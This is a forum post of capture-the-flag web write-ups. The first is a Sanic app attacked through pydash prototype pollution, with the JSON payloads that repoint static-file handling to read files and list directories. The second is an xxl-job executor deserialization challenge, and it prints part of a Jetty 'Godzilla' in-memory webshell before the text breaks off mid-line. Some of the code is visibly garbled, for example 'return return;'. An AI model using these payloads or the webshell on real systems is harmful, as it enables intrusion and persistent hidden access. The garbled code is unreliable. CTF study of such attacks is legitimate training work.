Jump to content

Featured Replies

Posted

WEB

Title: Sanic's revenge

Problem Solving Steps

First, see the given attachment :

from sanic import Sanic

import os

from sanic.response import text, html

import sys

import random

import pydash

# pydash==5.1.2

# The source code here seems to have been deleted by admin. I heard that there is a big secret hidden in it

class Pollute:

def __init__(self):

pass

app=Sanic(__name__)

app.static('/static/', './static/')

@app.route('/***secret*********')

async def secret(request):

secret='************************'

return text('can you find my route name ?'+secret)

@app.route('/', methods=['GET', 'POST'])

async def index(request):

return html(open('static/index.html').read())

@app.route('/pollute', methods=['GET', 'POST'])

async def POLLUTE(request):

key=request.json['key']

value=request.json['value']

if key and value and type(key) is str and 'parts' not in key and 'proc' not in str(value) and type(value) is not list:

pollute=Pollute()

pydash.set_(pollute, key, value)

return text('success')

else:

log_dir=create_log_dir(6)

log_dir_bak=log_dir + '.'

log_file='/tmp/' + log_dir + '/access.log'

log_file_bak='/tmp/' + log_dir_bak + '/access.log.bak'

log='key: ' + str(key) + '|' + 'value: ' + str(value);

# Generate log files

os.system('mkdir /tmp/' + log_dir)

with open(log_file, 'w') as f:

f.write(log)

# Backup log files

os.system('mkdir /tmp/' + log_dir_bak)

with open(log_file_bak, 'w') as f:

f.write(log)

return text('! No reckless behavior here, your illegal operations have been recorded!')

if __name__=='__main__':

app.run(host='0.0.0.0')

Analyze the source code :

The /pollute route provides a pollution point pydash.set_, which can achieve prototype chain pollution by passing the parameter key and value. In addition, this route also sets a waf. If waf is triggered, the values of key and value will be written to the file in the /tmp directory

There is also a route with unknown names. We can guess that there is a secret inside?

According to the prompt, we can find that the source code here is not complete, so we need to get the complete source code

The entry point here is prototype chain pollution. If we pollute file_or_directory to the root directory, we can realize any file reading.

We then find a way to get the source code file name and try to access /static/proc/1/cmdline:

1049983-20241007092501905-1381800438.png

Then visit /start.sh:

1049983-20241007092502596-882819269.png

Get the source code name :2Q17A58T9F65y5i8.py

Visit /app/2Q17A58T9F65y5i8.py to get the complete source code :

from sanic import Sanic

import os

from sanic.response import text, html

import sys

import random

import pydash

# pydash==5.1.2

#The source code seems to have been deleted by admin, and he heard that there is a big secret hidden in it

class Pollute:

def __init__(self):

pass

def create_log_dir(n):

ret=''

for i in range(n):

num=random.randint(0, 9)

letter=chr(random.randint(97, 122))

Letter=chr(random.randint(65, 90))

s=str(random.choice([num, letter, Letter]))

ret +=s

return ret

app=Sanic(__name__)

app.static('/static/', './static/')

@app.route('/Wa58a1qEQ59857qQRPPQ')

async def secret(request):

with open('/h111int','r') as f:

hint=f.read()

return text(hint)

@app.route('/', methods=['GET', 'POST'])

async def index(request):

return html(open('static/index.html').read())

@app.route('/adminLook', methods=['GET'])

async def AdminLook(request):

#Easy admins to view illegal logs

log_dir=os.popen('ls /tmp -al').read();

return text(log_dir)

@app.route('/pollute', methods=['GET', 'POST'])

async def POLLUTE(request):

key=request.json['key']

value=request.json['value']

if key and value and type(key) is str and 'parts' not in key and 'proc' not in str(value) and type(value) is not list:

pollute=Pollute()

pydash.set_(pollute, key, value)

return text('success')

else:

log_dir=create_log_dir(6)

log_dir_bak=log_dir+'.'

log_file='/tmp/'+log_dir+'/access.log'

log_file_bak='/tmp/'+log_dir_bak+'/access.log.bak'

log='key: '+str(key)+'|'+'value: '+str(value);

#Generate log files

os.system('mkdir /tmp/'+log_dir)

with open(log_file, 'w') as f:

f.write(log)

#Back up log files

os.system('mkdir /tmp/'+log_dir_bak)

with open(log_file_bak, 'w') as f:

f.write(log)

return text('! No reckless behavior here, your illegal operations have been recorded!')

if __name__=='__main__':

app.run(host='0.0.0.0')

You can see the extra route :Wa58a1qEQ59857qQRPPQ, and we directly access it to get hint:

flag in /app,but you need to find his name!

Find a way to see the file names in the app directory

Here we are prompted that the flag file is in the app directory, but we don't know the flag name

Then it is obvious that we need to find a way to list the files in the app directory

You can also see the adminLook route and you can see the files in the /tmp directory, and our illegal logs are recorded in this directory. We first trigger the illegal record once, and then access the adminLook route :

1049983-20241007092503306-864833807.jpg

You can see that there are two directories here, one of which is the name of the backup directory is ddahJ6. so you can use access to this directory to travel to the upper directory:

{'key':'__class__\\\\\\.__init__\\\\\\\\.__globals__\\\\\\\\.app.router.name_index.__mp_main__\\\\.static.handler.keywords.file_or_directory','value': '/tmp'} First switch to the tmp directory, and then pollute the base value :

{'key':'__class__\\\\\\.__init__\\\\\\\\.__globals__\\\\\\\\.app.router.name_index.__mp_main__\\\\.static.handler.keywords.directory_handler.base','value': static/ddahJ6'}

Also remember to enable the directory function :

{'key':'__class__\\\\\\\.__init__\\\\\\\\.__globals__\\\\\\\\\.app.router.name_index.__mp_main__\\\\.static.handler.keywords.directory_handler.directory_view','value': True}

Then visit :

1049983-20241007092503888-2101886537.png

You can see the flag name, and then visit /app/45W698WqtsgQT1_flag to get flag

Title: EasyJob

Problem solving steps

According to the attachment, it can be confirmed that it is a vulnerability that is unauthorized for access by xxl-job-executor. Please refer to the following link:

https://github.com/Threekiii/Vulhub-Reproduce/blob/master/XXL-JOB%20executor%20%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE%E6%BC%8F%E6%B4%9E.md

However, we will find that our xxl-job version is relatively old and is a version that needs to be triggered by Hessian deserialization, and the problem does not come out of the Internet. At this time, it is inevitable to hit a memory horse. Therefore, the key point of this question is actually how to inject a Jetty memory horse without web dependencies.

A handler is built into xxljob as follows

//

//Source code recreated from a .class file by IntelliJ IDEA

//(powered by FernFlower decompiler)

//

package com.xxl.job.core.rpc.netcom.jetty.server;

import com.xxl.job.core.rpc.codec.RpcRequest;

import com.xxl.job.core.rpc.codec.RpcResponse;

import com.xxl.job.core.rpc.netcom.NetComServerFactory;

import com.xxl.job.core.rpc.serialize.HessianSerializer;

import com.xxl.job.core.util.HttpClientUtil;

import java.io.IOException;

import java.io.OutputStream;

import javax.servlet.ServletException;

import javax.servlet.http.HttpServletRequest;

import javax.servlet.http.HttpServletResponse;

import org.eclipse.jetty.server.Request;

import org.eclipse.jetty.server.handler.AbstractHandler;

import org.slf4j.Logger;

import org.slf4j.LoggerFactory;

public class JettyServerHandler extends AbstractHandler {

private static Logger logger=LoggerFactory.getLogger(JettyServerHandler.class);

public JettyServerHandler() {

}

public void handle(String target, Request baseRequest, HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {

RpcResponse rpcResponse=this.doInvoke(request);

byte[] responseBytes=HessianSerializer.serialize(rpcResponse);

response.setContentType('text/html;charset=utf-8');

response.setStatus(200);

baseRequest.setHandled(true);

OutputStream out=response.getOutputStream();

out.write(responseBytes);

out.flush();

}

private RpcResponse doInvoke(HttpServletRequest request) {

RpcResponse rpcResponse;

try {

byte[] requestBytes=HttpClientUtil.readBytes(request);

if (requestBytes !=null requestBytes.length !=0) {

RpcRequest rpcRequest=(RpcRequest)HessianSerializer.deserialize(requestBytes, RpcRequest.class);

RpcResponse rpcResponse=NetComServerFactory.invokeService(rpcRequest, (Object)null);

return rpcResponse;

} else {

rpcResponse=new RpcResponse();

rpcResponse.setError('RpcRequest byte[] is null');

return rpcResponse;

}

} catch (Exception var5) {

logger.error(var5.getMessage(), var5);

rpcResponse=new RpcResponse();

rpcResponse.setError('Server-error:' + var5.getMessage());

return rpcResponse;

}

}

}

JettyHandler, all we need to do is inject something exactly the same. There is nothing to say about the specific details here, the memory is as follows

package com.xxl.job.core;

import org.eclipse.jetty.server.*;

import org.eclipse.jetty.server.handler.AbstractHandler;

import org.eclipse.jetty.server.handler.HandlerCollection;

import sun.misc.Unsafe;

import javax.crypto.Cipher;

import javax.crypto.spec.SecretKeySpec;

import javax.servlet.ServletException;

import javax.servlet.ServletOutputStream;

import javax.servlet.http.HttpServletRequest;

import javax.servlet.http.HttpServletResponse;

import java.io.IOException;

import java.lang.ref.Reference;

import java.lang.reflect.Field;

import java.lang.reflect.Method;

import java.net.URL;

import java.net.URLClassLoader;

import java.util.Scanner;

//author:Boogipop

public class JettyGodzillaMemshell extends AbstractHandler {

String xc='3c6e0b8a9c15224a'; //key

String pass='username';

String md5=md5(pass + xc);

Class payload;

public static String md5(String s) {

String ret=null;

try {

java.security.MessageDigest m;

m=java.security.MessageDigest.getInstance('MD5');

m.update(s.getBytes(), 0, s.length());

ret=new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();

} catch (Exception e) {

}

return return;

}

public JettyGodzillaMemshell() {

System.out.println(1);

}

public JettyGodzillaMemshell(int s) {

System.out.println(2);

}

static {

try {

HttpConnection valueField=getValueField();

HandlerCollection handler=(HandlerCollection) valueField.getHttpChannel().getServer().getHandler();

Field mutableWhenRunning=handler.getClass().getDeclaredField('_mutableWhenRunning');

mutableWhenRunning.setAcc

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.
Note: Your post will require moderator approval before it will be visible.

Guest
Reply to this topic...

Important Information

HackTeam Cookie PolicyWe have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.